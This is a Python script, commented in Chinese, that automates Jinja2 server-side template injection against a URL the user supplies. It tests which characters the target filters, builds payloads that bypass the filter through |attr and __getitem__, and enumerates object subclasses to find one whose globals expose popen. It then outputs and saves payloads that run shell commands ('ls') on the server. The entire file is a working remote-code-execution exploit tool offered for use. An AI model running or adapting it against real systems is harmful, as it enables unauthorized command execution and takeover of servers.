import requests import html import re import time def get_base_response(url): """获取基准响应(提交hello)""" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } try: params = {"a": "hello"} resp = requests.get(url, params=params, headers=headers, timeout=5, verify=False) resp.raise_for_status() resp.encoding = resp.apparent_encoding pattern = r'
\s*(.*?)\s*
' match = re.search(pattern, resp.text, re.DOTALL) base_core = match.group(1).strip() if match else resp.text.strip() return { "status_code": resp.status_code, "core_content": base_core, "full_text": resp.text } except Exception as e: print(f"❌ 获取基准响应失败: {e}") return None def extract_diff(base_content, test_content): """提取测试响应与基准响应的差异""" base_lines = base_content.split("\n") test_lines = test_content.split("\n") diff_lines = [] for line in test_lines: line_stripped = line.strip() if line_stripped and line_stripped not in base_lines and line_stripped != "": diff_lines.append(line_stripped) return "\n".join(diff_lines) if diff_lines else test_content[:300] def test_filter_chars(url): """测试[]、.、_,对比基准展示差异""" print("🔍 第一步:获取基准响应(提交hello)...") base_resp = get_base_response(url) if not base_resp: return None print(f"\n✅ 基准响应(hello):") print(f" 状态码: {base_resp['status_code']}") print(f" 核心内容: {base_resp['core_content'][:300]}...") print("="*80) test_cases = [ ("中括号 []", "{{[1,2,3][0]}}", "正常应返回'1'"), ("点 .", "{{''.__class__}}", "正常应返回相关内容"), ("下划线 _", "{{''|attr('__class__')}}", "正常应返回相关内容") ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } test_results = {} for name, payload, tip in test_cases: print(f"\n📌 测试【{name}】:") print(f" 测试payload: {payload}") print(f" 预期结果: {tip}") try: params = {"a": payload} resp = requests.get(url, params=params, headers=headers, timeout=5, verify=False) pattern = r'
\s*(.*?)\s*
' match = re.search(pattern, resp.text, re.DOTALL) test_core = match.group(1).strip() if match else resp.text.strip() diff_content = extract_diff(base_resp['core_content'], test_core) print(f" 状态码: {resp.status_code}") print(f" 与基准的差异内容:") print(f" --------------------") print(f" {diff_content}") print(f" --------------------") test_results[name] = { "status": "success", "diff": diff_content, "status_code": resp.status_code } except Exception as e: print(f" ❌ 测试出错: {e}") test_results[name] = { "status": "error", "error": str(e) } print("="*80) return test_results def get_bypass_choice(): """用户选择绕过方案""" print("\n📝 请根据测试结果选择需要启用的绕过方案(可组合):") print(" 1 - 中括号 [] 绕过 (使用 __getitem__(x) 替代 [x],避免pop修改列表)") print(" 2 - 点 . 绕过 (使用 |attr('attr') 替代 .attr)") print(" 输入示例: 1,2 (启用中括号和点绕过)| 直接回车=不启用任何绕过") choice = input("你的选择: ").strip() bypass = {"bracket": False, "dot": False} if choice: # 处理中文逗号和空格 choice = choice.replace(",", ",").replace(" ", ",") nums = [n.strip() for n in choice.split(",") if n.strip()] if "1" in nums: bypass["bracket"] = True print("✅ 已启用【中括号】绕过(使用__getitem__替代[])") if "2" in nums: bypass["dot"] = True print("✅ 已启用【点】绕过") else: print("✅ 未启用任何绕过方案") return bypass def generate_payload(bypass, index=None, type="count"): """ 生成严格绕过的Payload(仅中括号绕过时用__getitem__,避免pop修改列表) """ # 直接构建符合绕过规则的payload if type == "count": if bypass["dot"]: # 点绕过:使用|attr() payload = "{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()}}" else: # 正常格式 payload = "{{''.__class__.__base__.__subclasses__()}}" elif type == "init": if bypass["dot"] and bypass["bracket"]: # 点和中括号都绕过 payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')}}}}" elif bypass["dot"]: # 仅点绕过 payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')}}}}" elif bypass["bracket"]: # 仅中括号绕过 payload = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__}}}}" else: # 正常格式 payload = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__}}}}" elif type == "globals": if bypass["dot"] and bypass["bracket"]: # 点和中括号都绕过 payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')|attr('__globals__')}}}}" elif bypass["dot"]: # 仅点绕过 payload = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')|attr('__globals__')}}}}" elif bypass["bracket"]: # 仅中括号绕过 payload = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__.__globals__}}}}" else: # 正常格式 payload = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__}}}}" elif type == "ls": payloads = [] if bypass["dot"] and bypass["bracket"]: # 点和中括号都绕过 payload1 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ls')|attr('read')()}}}}" payload2 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')({index})|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}}}" elif bypass["dot"]: # 仅点绕过 payload1 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('ls')|attr('read')()}}}}" payload2 = f"{{{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()[{index}]|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}}}" elif bypass["bracket"]: # 仅中括号绕过 payload1 = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__.__globals__.__getitem__('popen')('ls').read()}}}}" payload2 = f"{{{{''.__class__.__base__.__subclasses__().__getitem__({index}).__init__.__globals__.__getitem__('os').popen('ls').read()}}}}" else: # 正常格式 payload1 = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['popen']('ls').read()}}}}" payload2 = f"{{{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['os'].popen('ls').read()}}}}" payloads = [payload1, payload2] # 校验:确保payload符合绕过规则 if type != "ls": payloads = [payload] for payload in payloads: if bypass["bracket"] and index is not None: if "[" in payload: print(f"⚠️ Payload仍含中括号!{payload[:100]}") if bypass["dot"]: if "." in payload and not ".__getitem__" in payload: print(f"⚠️ Payload仍含点符号!{payload[:100]}") if type == "ls": return payloads else: return payload def get_subclasses_count(url, bypass): """获取子类总数(修复仅中括号绕过后的参数干扰)""" payload = generate_payload(bypass, type="count") # 核心修复:仅传a=payload,无多余参数 params = {"a": payload} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } try: resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False) resp.raise_for_status() resp.encoding = resp.apparent_encoding pattern = r'
\s*(.*?)\s*
' match = re.search(pattern, resp.text, re.DOTALL) if not match: print("❌ 未获取到子类列表,核心响应:") print(resp.text[:500]) return 0 # 修复:不清洗过度,保留原始子类列表 classes_str = match.group(1) # 仅分割,不额外strip(避免空元素导致计数错误) classes = [c for c in classes_str.split(',') if c.strip()] count = len(classes) print(f"✅ 成功获取到 {count} 个子类 (Payload: {payload})") return count except Exception as e: print(f"❌ 获取子类数量失败: {e}") # 尝试使用更简单的payload获取子类数量 try: simple_payload = "{{''.__class__.__base__.__subclasses__()}}" params = {"a": simple_payload} resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False) resp.raise_for_status() match = re.search(pattern, resp.text, re.DOTALL) if match: classes_str = match.group(1) classes = [c for c in classes_str.split(',') if c.strip()] count = len(classes) print(f"✅ 使用简单payload成功获取到 {count} 个子类") return count except: pass return 0 def test_init_method(url, bypass, index): """测试__init__是否含wrapper""" payload = generate_payload(bypass, index=index, type="init") print(f"📋 测试序号{index}的payload: {payload}") params = {"a": payload} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } try: resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False) resp.raise_for_status() resp.encoding = resp.apparent_encoding pattern = r'
\s*(.*?)\s*
' match = re.search(pattern, resp.text, re.DOTALL) if not match: print(f"⚠️ 序号{index}未找到结果,视为含wrapper") return True content = match.group(1).lower() # 直接查找是否包含wrapper字符串 has_wrapper = "wrapper" in content print(f"📋 序号{index}结果: {'含wrapper' if has_wrapper else '不含wrapper'}") return has_wrapper except Exception as e: print(f"⚠️ 测试序号{index}出错: {e},已跳过") return True def test_popen_in_globals(url, bypass, index): """测试__globals__是否含popen""" payload = generate_payload(bypass, index=index, type="globals") print(f"📋 检测序号{index}的payload: {payload}") params = {"a": payload} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" } try: resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False) resp.raise_for_status() resp.encoding = resp.apparent_encoding pattern = r'
\s*(.*?)\s*
' match = re.search(pattern, resp.text, re.DOTALL) if not match: print(f"⚠️ 序号{index}未找到结果,视为不含popen") return False, "" content = match.group(1) has_popen = "popen" in content.lower() print(f"📋 序号{index}结果: {'含popen' if has_popen else '不含popen'}") return has_popen, content except Exception as e: print(f"⚠️ 检测序号{index}的popen出错: {e},已跳过") return False, "" def generate_ls_payload(bypass, index): """生成ls payload""" payloads = generate_payload(bypass, index=index, type="ls") return { "主payload": payloads[0], "备用payload": payloads[1] } def main(): url = input("请输入测试URL: ").strip() if not url: print("❌ URL不能为空") return # 1. 测试特殊字符 test_filter_chars(url) # 2. 选择绕过方案 bypass = get_bypass_choice() # 3. 获取子类总数(核心修复) subclasses_count = get_subclasses_count(url, bypass) if subclasses_count == 0: return # 4. 筛选不含wrapper的序号 print("\n🔍 第二步:筛选不含wrapper的__init__方法...") print("="*80) valid_indexes = [] for index in range(subclasses_count): if index % 10 == 0: print(f"📌 进度: {index}/{subclasses_count}") has_wrapper = test_init_method(url, bypass, index) if not has_wrapper: valid_indexes.append(index) print(f"✅ 序号{index}: 不含wrapper,加入候选") time.sleep(0.1) if not valid_indexes: print("❌ 未找到符合条件的序号") return print(f"\n📊 共找到 {len(valid_indexes)} 个不含wrapper的序号: {valid_indexes}") # 5. 检测Popen check_popen = input("\n是否检测Popen?(y/n): ").strip().lower() if check_popen != "y": print("\n📋 最终有效序号: ", valid_indexes) return print("\n🔍 第三步:检测Popen(找到即停)...") print("="*80) popen_index = None popen_content = "" for index in valid_indexes: print(f"📌 检测序号{index}...") has_popen, content = test_popen_in_globals(url, bypass, index) if has_popen: popen_index = index popen_content = content print(f"✅ 序号{index}: 检测到Popen!") break time.sleep(0.1) if popen_index is not None: print(f"\n🎉 可执行命令序号: {popen_index}") payloads = generate_ls_payload(bypass, popen_index) print("\n🚀 LS命令Payload:") print(f"主payload: {payloads['主payload']}") print(f"备用payload: {payloads['备用payload']}") save = input("\n保存结果?(y/n): ").strip().lower() if save == "y": with open("ssti_exploit.txt", "w", encoding="utf-8") as f: f.write(f"URL: {url}\n绕过: {bypass}\n有效序号: {popen_index}\n") f.write(f"主payload: {payloads['主payload']}\n备用payload: {payloads['备用payload']}\n") print("✅ 保存到 ssti_exploit.txt") else: print("\n❌ 未找到含Popen的序号") print(f"📋 有效序号: {valid_indexes}") if __name__ == "__main__": main()